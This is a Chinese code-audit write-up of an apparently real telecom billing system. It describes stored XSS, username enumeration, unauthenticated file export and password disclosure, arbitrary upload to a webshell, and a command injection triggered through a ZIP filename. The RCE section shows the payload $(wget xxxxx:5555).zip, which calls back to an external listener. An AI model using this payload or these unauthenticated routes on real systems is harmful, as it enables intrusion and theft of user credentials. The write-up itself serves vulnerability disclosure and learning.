0x00 前言

本文审计的系统为某运营商计费系统,因为项目原因接触到,在此做个记录,本着学习交流的态度对本系统进行了审计,在审计过程中发现了诸多安全问题,本文在此列出几项比较严重和典型的漏洞。

0x01 XSS漏洞

在路由/userdatachange中存在XSS漏洞,此路由为用户资料修改页面,在此路由中,并不存在XSS漏洞,原因是该系统存在XSS过滤器,但是并不会影响保存在数据库中的数据,但此XSS代码会在其他地方被触发,造成二阶XSS漏洞。

首先我们来到userdatachange路由里面,在进入了该userDataChange()函数后,会先进行登录判断,

随后对相关的用户权限和用户信息进行校检。

zydaaa1

接下来会把我们提交过来的数据进行赋值处理,这里调用了UserDataChangeReq这个接口类的数据zydaaa2

在处理完提交过来的数据后,将会调用接口commonService中的updata()这个函数把数据存入数据库中去zydaaa3

此XSS的触发点为后台某功能处

后台路由/user/operator中,前面还是先对相关的登录用户进行信息检查,没有问题了后,组合相关的查询语句

zyiaaa4

把查询出来的用户信息添加到list中,随后返回输出

zyiaaa5

登录普通用户账号,来到修改资料地方,在用户姓名处或者其他地方输入XSS测试代码后保存

zyiaaa6

在后台用户信息查看处,成功触发XSS漏洞

zyiaaa7

0x02 用户名枚举

在路由getindexchart中,首先获取到了用户的账号名称,然后对用户名称进行了查询,

如果账号不存在,则输出不存在的信息

zyiaaa8

如果存在账号,则返回账号的相关状态信息

zyiaaa9

在代码中,我们可以看到,里面并没有对登录情况进行判断,所以我们可以在没有登录的情况下进行账户名枚举

账号正确时输出信息

zyiaaa10

账号错误时输出信息

zyiaaa11

0x03 未授权文件下载

在路由cardgroupexport中,可以看到并没有对登录的用户进行判断,直接进行函数的执行,在相关静态变量信息处理成功后,调用接口commonServicez中的listALL函数进行信息查询,随后调用excel处理函数类进行表处理

zyiaaa12

在处理完表后,执行exportExcel()函数进行表导出

zyiaaa13

直接访问导出路由页面

zyiaaa14

0x04 任意用户密码读取

在路由checkUserIdPassword中,直接调用了接口commonService中的listALL函数进行信息查询,查询完后直接返回查询结果

zyiaaa15

我们来看下它都查询了些什么东西

跟进TAccounts函数类,可以看到查询的为账号表中的所有信息,其中还包括了账号密码

zyiaaa16

在整个函数中,并没有对登录进行判断,所有我们可以直接未授权查看所有用户的账号密码,造成用户信息泄露

这里查询sxq账户并返回相关信息

zyiaaa17

查询test账户并返回相关信息

zyiaaa18

0x05 任意文件上传

在路由areaManagementUpdate中,这里显示判断了是否是登录状态,但是我们也可以发现的是,虽然判断了是否登录,但是并没有看到有退出函数和跳转函数的存在,报错后依然会执行并上传文件,所以这个地方存在未授权访问导致任意文件上传。

在执行到下方时代码时,调用了uploadFile()函数,我们跟进uploadFile()函数zyiaaa19

来到uploadFile()函数中,在进行了一系列的数据处理后,开始进行文件生成处理。

在680行,生成了文件名,可以看到,这个地方直接提取了我们提交的文件名,并没有过滤函数的存在

1
String newfileName = DateUtil.fomatDateToString(new Date(), "yyyyMMddHHmmss") + StringUtil.getRandom(3) + i + ((MultipartFile)mf.get(0)).getOriginalFilename().substring(((MultipartFile)mf.get(0)).getOriginalFilename().lastIndexOf("."));

随后在682行时,进行了写入路径拼接,最后调用写文件函数,到这里我们就可以知道,我们可以上传任意文件了

zyiaaa20

构造上传页面

zyiaaa21

成功getshell

zyiaaa22

0x06 RCE漏洞

这个RCE漏洞比较有趣,我们一起来看下

在路由pageTemplateAddFile中,首先判断了上传文件的类型,随后调用了uploadFile()函数,我们跟进uploadFile()函数

zydaaa23

来到了uploadFile()函数后,看到函数先提取了上传的文件信息,然后对上传文件的相关信息进行了判断解析,这里判断了后缀名称,只能上传zip文件

zydaaa24

然后在判断结束后,如果都正常的话,就会进入到unzipFile()解压函数中去,我们跟进uploadFile()函数

zyiaaa25

在这个地方,我们可以看到,uploadFile()函数调用了系统命令来对我们传入的文件进行解压,文件名是我们可以控制的,所以这个地方就造成了命令执行,在整个过程中,函数既没有判断登录也没有过滤判断文件名,所以这个路由是可以未授权访问的

zyiaaa26

直接根据函数中提供的参数进行上传包构造,然后利用burpsuite对文件名进行修改,修改为$(wget xxxxx:5555).zip,然后在公网监听5555端口,可以看到这里我们成功监听到了服务器发送过来的请求。

zyiaaa27

0x07 总结

在整个审计过程中,我们可以发现,其中常规的用户交互操作都是有严格校检的,但是对于一些程序调用接口,却没有做安全防护措施。其实在很多系统也是一样,很多接口调用方面的安全情况很糟,这种侧边界问题往往就是很容易忽视的点。